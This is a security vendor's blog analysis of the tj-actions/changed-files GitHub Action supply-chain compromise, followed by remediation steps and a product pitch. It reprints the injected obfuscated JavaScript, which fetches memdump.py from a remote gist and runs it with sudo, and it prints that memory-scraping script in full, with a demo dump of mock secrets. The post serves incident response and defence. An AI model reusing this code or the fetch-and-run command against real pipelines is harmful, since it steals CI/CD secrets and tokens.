Aqua Blog

Supply Chain Security Risk: GitHub Action tj-actions/changed-files Compromised

Supply Chain Security Risk: GitHub Action tj-actions/changed-files Compromised

On March 14th, 2025, security researchers discovered a critical software supply chain vulnerability in the widely-used GitHub Action tj-actions/changed-files (CVE-2025-30066). This vulnerability allows remote attackers to expose CI/CD secrets via the action’s build logs. The issue affects users who rely on the tj-actions/changed-files action in GitHub workflows to track changed files within a pull request.

Due to the compromised action, sensitive CI/CD secrets are being inadvertently logged in the GitHub Actions build logs. If these logs are publicly accessible, such as in public repositories, unauthorized users could access and retrieve the clear text secrets. However, there is no evidence suggesting that the exposed secrets were transmitted to any external network.

Background: Understanding tj-actions/changed-files

The tj-actions/changed-files action is widely used in GitHub CI/CD workflows to efficiently detect file changes within pull requests, streamlining development processes by conditionally triggering actions based on modified files. With over 23,000 active repositories and more than 1 million monthly downloads, its widespread adoption makes this compromise particularly impactful, exposing numerous organizations to potential supply chain attacks.

Technical Details on GitHub Action tj-actions

According to the initial report by StepSecurity this incident was first discovered at 4PM UTC on March 14th, 2025, and isolated by 10:30 AM UTC on March 15th, 2025. But, we still warmly advise to avoid using this action until this matter is fully resolved.
Initial investigation implies on a malicious commit (hash:0e58ed8671d6b60d0890c21b07f8835ace038e67), and a retroactive compromise of multiple versions, possibly all versions.

The attackers introduced malicious JavaScript code directly into the dist/index.js file of the compromised tj-actions/changed-files repository.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
async function updateFeatures(token) {
const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], { 1Has a conversation. Original line has a conversation.
ignoreReturnCode: true,
silent: true
});
core.info(stdout);
}
async function updateFeatures(token) { const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], { 1Has a conversation. Original line has a conversation. ignoreReturnCode: true, silent: true }); core.info(stdout); }
async function updateFeatures(token) {
     const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], { 1Has a conversation. Original line has a conversation.
         ignoreReturnCode: true,
         silent: true
     });
     core.info(stdout);
}

The injected script executed during workflow runs, silently logging environment variables and sensitive secrets (e.g., API tokens, access keys) directly into the GitHub Actions build logs.

The malicious payload was carefully concealed, encoded twice using base64, making manual detection difficult without automated security scanning tools. Upon execution, the decoded payload triggered the execution of a Python script named memdump.py. Below you can see the content of the Python script.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
#!/usr/bin/env python3
...
def get_pid():
# https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read():
return pid
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid()
print(pid)
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r': # readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
# hotfix: OverflowError: Python int too large to convert to C long
# 18446744073699065856
if start > sys.maxsize:
continue
mem_f.seek(start) # seek to region start
try:
chunk = mem_f.read(end - start) # read region contents
sys.stdout.buffer.write(chunk)
except OSError:
continue
#!/usr/bin/env python3 ... def get_pid(): # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python pids = [pid for pid in os.listdir('/proc') if pid.isdigit()] for pid in pids: with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f: if b'Runner.Worker' in cmdline_f.read(): return pid raise Exception('Can not get pid of Runner.Worker') if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue
#!/usr/bin/env python3
...

def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')

if __name__ == "__main__":
    pid = get_pid()
    print(pid)

    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # for each mapped region
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
            if m.group(3) == 'r':  # readable region
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)
                # hotfix: OverflowError: Python int too large to convert to C long
                # 18446744073699065856
                if start > sys.maxsize:
                    continue
                mem_f.seek(start)  # seek to region start
            
                try:
                    chunk = mem_f.read(end - start)  # read region contents
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    continue

As you can see in the script it is reading data from memory, searching for the GitHub action JSON. We crafted a mock-up json and ran the payload in a test environment.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
{
"API_KEY":
{
"value": "123ABC456DEF",
"isSecret": true
},
"DB_PASSWORD":
{
"value": "my_secure_password",
"isSecret": true
},
"ACCESS_TOKEN":
{
"value": "token_987654",
"isSecret": true
}
}
{ "API_KEY": { "value": "123ABC456DEF", "isSecret": true }, "DB_PASSWORD": { "value": "my_secure_password", "isSecret": true }, "ACCESS_TOKEN": { "value": "token_987654", "isSecret": true } }
{
    "API_KEY": 
        {
            "value": "123ABC456DEF", 
            "isSecret": true
            },
    "DB_PASSWORD": 
        {
            "value": "my_secure_password", 
            "isSecret": true
            },
    "ACCESS_TOKEN": 
        {
            "value": "token_987654", 
            "isSecret": true
            }
}

Below you can see a memory dump of the extracted secret.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
0000501000 00 00 00 00 00 00 0000 00 00 00 00 00 00 000000000000000000
│* │ ┊ │ ┊ │
0000529000 00 00 00 00 00 00 00 ┊ d1 00 00 00 00 00 00 0000000000┊×0000000
000052a0│ 7b 0a 20 20 20 20 22 4150 49 5f 4b 45 59 22 3a │{_ "A┊PI_KEY":│
000052b0│ 20 7b 22 76 61 6c 75 6522 3a 20 22 31 32 33 41 │ {"value┊": "123A│
│000052c0│ 42 43 34 35 36 44 45 46 ┊ 22 2c 20 22 69 73 53 65 │BC456DEF┊", "isSe│
│000052d0│ 63 72 65 74 22 3a 20 74 ┊ 72 75 65 7d 2c 0a 20 20 │cret": t┊rue},_ │
000052e0│ 20 20 22 44 42 5f 50 4153 53 57 4f 52 44 22 3a │ "DB_PA┊SSWORD":│
000052f0│ 20 7b 22 76 61 6c 75 6522 3a 20 22 6d 79 5f 73 │ {"value┊": "my_s│
│00005300│ 65 63 75 72 65 5f 70 61 ┊ 73 73 77 6f 72 64 22 2c │ecure_pa┊ssword",│
0000531020 22 69 73 53 65 63 7265 74 22 3a 20 74 72 75"isSecr┊et": tru│
0000532065 7d 2c 0a 20 20 20 2022 41 43 43 45 53 53 5f │e},_ ┊"ACCESS_│
│00005330│ 54 4f 4b 45 4e 22 3a 20 ┊ 7b 22 76 61 6c 75 65 22 │TOKEN": ┊{"value"
000053403a 20 22 74 6f 6b 65 6e ┊ 5f 39 38 37 36 35 34 22 │: "token┊_987654"
000053502c 20 22 69 73 53 65 6372 65 74 22 3a 20 74 72 │, "isSec┊ret": tr│
0000536075 65 7d 0a 7d 00 00 0011 04 00 00 00 00 00 00 │ue}_}000┊••000000
0000537053 6c 65 65 70 69 6e 6720 66 6f 72 20 31 30 30 │Sleeping┊ for 100
0000538020 73 65 63 6f 6e 64 732e 2e 2e 0a 31 32 33 41 │ seconds┊..._123A│
0000539042 43 34 35 36 44 45 4622 2c 20 22 69 73 53 65 │BC456DEF┊", "isSe│
000053a0│ 63 72 65 74 22 3a 20 7472 75 65 7d 2c 0a 20 20 │cret": t┊rue},_ │
│000053b0│ 20 20 22 44 42 5f 50 41 ┊ 53 53 57 4f 52 44 22 3a │ "DB_PA┊SSWORD":│
│000053c0│ 20 7b 22 76 61 6c 75 65 ┊ 22 3a 20 22 6d 79 5f 73 │ {"value┊": "my_s│
000053d0│ 65 63 75 72 65 5f 70 6173 73 77 6f 72 64 22 2c │ecure_pa┊ssword",│
│000053e0│ 20 22 69 73 53 65 63 72 ┊ 65 74 22 3a 20 74 72 75 │ "isSecr┊et": tru│
│000053f0│ 65 7d 2c 0a 20 20 20 20 ┊ 22 41 43 43 45 53 53 5f │e},_ ┊"ACCESS_│
0000540054 4f 4b 45 4e 22 3a 207b 22 76 61 6c 75 65 22 │TOKEN": ┊{"value"│
│00005410│ 3a 20 22 74 6f 6b 65 6e ┊ 5f 39 38 37 36 35 34 22 │: "token┊_987654"│
│00005420│ 2c 20 22 69 73 53 65 63 ┊ 72 65 74 22 3a 20 74 72 │, "isSec┊ret": tr│
0000543075 65 7d 0a 00 00 00 0000 00 00 00 00 00 00 00 │ue}_0000┊00000000
0000544000 00 00 00 00 00 00 0000 00 00 00 00 00 00 000000000000000000
│* │ ┊ │ ┊ │
0000577000 00 00 00 00 00 00 0091 08 02 00 00 00 00 0000000000┊ו•00000
0000578000 00 00 00 00 00 00 0000 00 00 00 00 00 00 000000000000000000
│00005010│ 00 00 00 00 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │00000000┊00000000│ │* │ ┊ │ ┊ │ │00005290│ 00 00 00 00 00 00 00 00 ┊ d1 00 00 00 00 00 00 00 │00000000┊×0000000│ │000052a0│ 7b 0a 20 20 20 20 22 41 ┊ 50 49 5f 4b 45 59 22 3a │{_ "A┊PI_KEY":│ │000052b0│ 20 7b 22 76 61 6c 75 65 ┊ 22 3a 20 22 31 32 33 41 │ {"value┊": "123A│ │000052c0│ 42 43 34 35 36 44 45 46 ┊ 22 2c 20 22 69 73 53 65 │BC456DEF┊", "isSe│ │000052d0│ 63 72 65 74 22 3a 20 74 ┊ 72 75 65 7d 2c 0a 20 20 │cret": t┊rue},_ │ │000052e0│ 20 20 22 44 42 5f 50 41 ┊ 53 53 57 4f 52 44 22 3a │ "DB_PA┊SSWORD":│ │000052f0│ 20 7b 22 76 61 6c 75 65 ┊ 22 3a 20 22 6d 79 5f 73 │ {"value┊": "my_s│ │00005300│ 65 63 75 72 65 5f 70 61 ┊ 73 73 77 6f 72 64 22 2c │ecure_pa┊ssword",│ │00005310│ 20 22 69 73 53 65 63 72 ┊ 65 74 22 3a 20 74 72 75 │ "isSecr┊et": tru│ │00005320│ 65 7d 2c 0a 20 20 20 20 ┊ 22 41 43 43 45 53 53 5f │e},_ ┊"ACCESS_│ │00005330│ 54 4f 4b 45 4e 22 3a 20 ┊ 7b 22 76 61 6c 75 65 22 │TOKEN": ┊{"value"│ │00005340│ 3a 20 22 74 6f 6b 65 6e ┊ 5f 39 38 37 36 35 34 22 │: "token┊_987654"│ │00005350│ 2c 20 22 69 73 53 65 63 ┊ 72 65 74 22 3a 20 74 72 │, "isSec┊ret": tr│ │00005360│ 75 65 7d 0a 7d 00 00 00 ┊ 11 04 00 00 00 00 00 00 │ue}_}000┊••000000│ │00005370│ 53 6c 65 65 70 69 6e 67 ┊ 20 66 6f 72 20 31 30 30 │Sleeping┊ for 100│ │00005380│ 20 73 65 63 6f 6e 64 73 ┊ 2e 2e 2e 0a 31 32 33 41 │ seconds┊..._123A│ │00005390│ 42 43 34 35 36 44 45 46 ┊ 22 2c 20 22 69 73 53 65 │BC456DEF┊", "isSe│ │000053a0│ 63 72 65 74 22 3a 20 74 ┊ 72 75 65 7d 2c 0a 20 20 │cret": t┊rue},_ │ │000053b0│ 20 20 22 44 42 5f 50 41 ┊ 53 53 57 4f 52 44 22 3a │ "DB_PA┊SSWORD":│ │000053c0│ 20 7b 22 76 61 6c 75 65 ┊ 22 3a 20 22 6d 79 5f 73 │ {"value┊": "my_s│ │000053d0│ 65 63 75 72 65 5f 70 61 ┊ 73 73 77 6f 72 64 22 2c │ecure_pa┊ssword",│ │000053e0│ 20 22 69 73 53 65 63 72 ┊ 65 74 22 3a 20 74 72 75 │ "isSecr┊et": tru│ │000053f0│ 65 7d 2c 0a 20 20 20 20 ┊ 22 41 43 43 45 53 53 5f │e},_ ┊"ACCESS_│ │00005400│ 54 4f 4b 45 4e 22 3a 20 ┊ 7b 22 76 61 6c 75 65 22 │TOKEN": ┊{"value"│ │00005410│ 3a 20 22 74 6f 6b 65 6e ┊ 5f 39 38 37 36 35 34 22 │: "token┊_987654"│ │00005420│ 2c 20 22 69 73 53 65 63 ┊ 72 65 74 22 3a 20 74 72 │, "isSec┊ret": tr│ │00005430│ 75 65 7d 0a 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │ue}_0000┊00000000│ │00005440│ 00 00 00 00 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │00000000┊00000000│ │* │ ┊ │ ┊ │ │00005770│ 00 00 00 00 00 00 00 00 ┊ 91 08 02 00 00 00 00 00 │00000000┊ו•00000│ │00005780│ 00 00 00 00 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │00000000┊00000000│
│00005010│ 00 00 00 00 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │00000000┊00000000│
│*       │                         ┊                         │        ┊        │
│00005290│ 00 00 00 00 00 00 00 00 ┊ d1 00 00 00 00 00 00 00 │00000000┊×0000000│
│000052a0│ 7b 0a 20 20 20 20 22 41 ┊ 50 49 5f 4b 45 59 22 3a │{_    "A┊PI_KEY":│
│000052b0│ 20 7b 22 76 61 6c 75 65 ┊ 22 3a 20 22 31 32 33 41 │ {"value┊": "123A│
│000052c0│ 42 43 34 35 36 44 45 46 ┊ 22 2c 20 22 69 73 53 65 │BC456DEF┊", "isSe│
│000052d0│ 63 72 65 74 22 3a 20 74 ┊ 72 75 65 7d 2c 0a 20 20 │cret": t┊rue},_  │
│000052e0│ 20 20 22 44 42 5f 50 41 ┊ 53 53 57 4f 52 44 22 3a │  "DB_PA┊SSWORD":│
│000052f0│ 20 7b 22 76 61 6c 75 65 ┊ 22 3a 20 22 6d 79 5f 73 │ {"value┊": "my_s│
│00005300│ 65 63 75 72 65 5f 70 61 ┊ 73 73 77 6f 72 64 22 2c │ecure_pa┊ssword",│
│00005310│ 20 22 69 73 53 65 63 72 ┊ 65 74 22 3a 20 74 72 75 │ "isSecr┊et": tru│
│00005320│ 65 7d 2c 0a 20 20 20 20 ┊ 22 41 43 43 45 53 53 5f │e},_    ┊"ACCESS_│
│00005330│ 54 4f 4b 45 4e 22 3a 20 ┊ 7b 22 76 61 6c 75 65 22 │TOKEN": ┊{"value"│
│00005340│ 3a 20 22 74 6f 6b 65 6e ┊ 5f 39 38 37 36 35 34 22 │: "token┊_987654"│
│00005350│ 2c 20 22 69 73 53 65 63 ┊ 72 65 74 22 3a 20 74 72 │, "isSec┊ret": tr│
│00005360│ 75 65 7d 0a 7d 00 00 00 ┊ 11 04 00 00 00 00 00 00 │ue}_}000┊••000000│
│00005370│ 53 6c 65 65 70 69 6e 67 ┊ 20 66 6f 72 20 31 30 30 │Sleeping┊ for 100│
│00005380│ 20 73 65 63 6f 6e 64 73 ┊ 2e 2e 2e 0a 31 32 33 41 │ seconds┊..._123A│
│00005390│ 42 43 34 35 36 44 45 46 ┊ 22 2c 20 22 69 73 53 65 │BC456DEF┊", "isSe│
│000053a0│ 63 72 65 74 22 3a 20 74 ┊ 72 75 65 7d 2c 0a 20 20 │cret": t┊rue},_  │
│000053b0│ 20 20 22 44 42 5f 50 41 ┊ 53 53 57 4f 52 44 22 3a │  "DB_PA┊SSWORD":│
│000053c0│ 20 7b 22 76 61 6c 75 65 ┊ 22 3a 20 22 6d 79 5f 73 │ {"value┊": "my_s│
│000053d0│ 65 63 75 72 65 5f 70 61 ┊ 73 73 77 6f 72 64 22 2c │ecure_pa┊ssword",│
│000053e0│ 20 22 69 73 53 65 63 72 ┊ 65 74 22 3a 20 74 72 75 │ "isSecr┊et": tru│
│000053f0│ 65 7d 2c 0a 20 20 20 20 ┊ 22 41 43 43 45 53 53 5f │e},_    ┊"ACCESS_│
│00005400│ 54 4f 4b 45 4e 22 3a 20 ┊ 7b 22 76 61 6c 75 65 22 │TOKEN": ┊{"value"│
│00005410│ 3a 20 22 74 6f 6b 65 6e ┊ 5f 39 38 37 36 35 34 22 │: "token┊_987654"│
│00005420│ 2c 20 22 69 73 53 65 63 ┊ 72 65 74 22 3a 20 74 72 │, "isSec┊ret": tr│
│00005430│ 75 65 7d 0a 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │ue}_0000┊00000000│
│00005440│ 00 00 00 00 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │00000000┊00000000│
│*       │                         ┊                         │        ┊        │
│00005770│ 00 00 00 00 00 00 00 00 ┊ 91 08 02 00 00 00 00 00 │00000000┊ו•00000│
│00005780│ 00 00 00 00 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │00000000┊00000000│

This script systematically enumerated and dumped all available environment variables and sensitive data into the GitHub Action logs, significantly increasing the risk of secret exposure.

How to Check if You’re Impacted

This incident impacts GitHub actions runs on Mar 14, that were using the malicious action.

Best way to know if you are impacted is to look the action outputs from Mar 14, under changed-files section, if there’s a long string, decode it using

echo 'xxx' | base64 -d | base64 -d
echo 'xxx' | base64 -d | base64 -d,  and revoke those token immediately.

If you are not sure if you are using this GitHub action, you can do the following:

  • Review your GitHub Workflows, and search for
    uses: tj-actions/changed-files@<version>
    uses: tj-actions/changed-files@<version>
  • Alternatively, you can also look at results of this query, replacing <ORG> with your GitHub organization name:
    https://github.com/search?q=org%3A<ORG>+uses%3A+tj-actions%2F&type=code

Current findings indicate that nearly all tagged versions of tj-actions/changed-files have been compromised, resulting in direct access to running containers and virtual machines’ memory, allowing the extraction of sensitive secrets, information, and code.

Immediate Next Steps

If your workflows use the compromised version of tj-actions/changed-files:

  1. Immediately remove or revert to a known safe version prior to the compromise.
  2. Rotate all exposed secrets and tokens within affected workflows or environments.
  3. Audit runner environments for suspicious activity or external connections.
  4. Monitor logs closely for any unauthorized access attempts or unusual activities.
  5. Implement enhanced security measures, including validation checks and security scanning tools, to identify and mitigate future threats promptly.

Aqua secruity experts recommend adopting best practices, including:

Pro Tip
Software Supply Chain Security Best practices
  • Pinning specific and verified action versions instead of using floating tags like @master or @latest.
  • Regular dependency scanning and vulnerability assessments.
  • Enhanced security monitoring using tools specifically designed to detect software supply chain compromises.

Talk to a Security Expert

How Aqua Security Helps

To enhance the security of your CI/CD workflows and avoid vulnerabilities like this one, we recommend enforcing the practice of pinning commits within the Aqua security policies.

The recent attack involved modifying version tags (e.g., v35, v44.5.1) to point to malicious commits, allowing compromised code to automatically be executed in workflows. This issue could have been mitigated by pinning actions versions to specific commit SHAs, ensuring that only trusted and verified versions of actions are used.

We strongly advise you to adopt CI/CD control mechanisms such as Aqua’s that enforces pinning to a known, good commit SHA for all workflows. For example, workflows should reference actions like tj-actions/changed-files@0a1b2c3d4e5f6g7h8i9j0k, which points to a specific commit, rather than using a mutable version tag such as tj-actions/changed-files@v35. By pinning to specific commits, Aqua Security can ensure that workflows will not inadvertently pull in malicious updates if a version tag is altered.

This policy will help prevent automatic updates to workflows that could introduce security risks and provide greater control over the code executed in CI/CD pipelines.

In addition you can also benefit from Aqua’s Advanced Malware Protection (AMP) in your CI/CD pipelines. As illustrated in Figure 1 below, when running this scenario the malware is detected by the Aqua’s AMP.

memdump.py script is detected by Aqua's AMP as a Malware

Figure 1: memdump.py script is detected by Aqua’s AMP as a Malware

By navigating to the Incidents page, you can learn more about the sequence of events that led to the malware detection.

Security incident showing the detected malware

Figure 2: Incidents page with further details about the malware detection

As seen in the Aqua Incidents Timeline, you can analyze the timeline before and after the malware detection, you can explore forensic data about events preceded to the malware detection. For instance, a wget/curl usage indicates the the memdump.py file was downloaded from remote source, another events shows that the downloaded file was actually a script that was dropped during the build and you can also see the usage of base64 decoding.

For further information or assistance in securing your cloud-native and CI/CD environments, reach out to the Aqua Security team.

 

Assaf Morag
Assaf is the Director of Threat Intelligence at Aqua Nautilus, where is responsible of acquiring threat intelligence related to software development life cycle in cloud native environments, supporting the team's data needs, and helping Aqua and the broader industry remain at the forefront of emerging threats and protective methodologies. His research has been featured in leading information security publications and journals worldwide, and he has presented at leading cybersecurity conferences. Notably, Assaf has also contributed to the development of the new MITRE ATT&CK Container Framework.

Assaf recently completed recording a course for O’Reilly, focusing on cyber threat intelligence in cloud-native environments. The course covers both theoretical concepts and practical applications, providing valuable insights into the unique challenges and strategies associated with securing cloud-native infrastructures.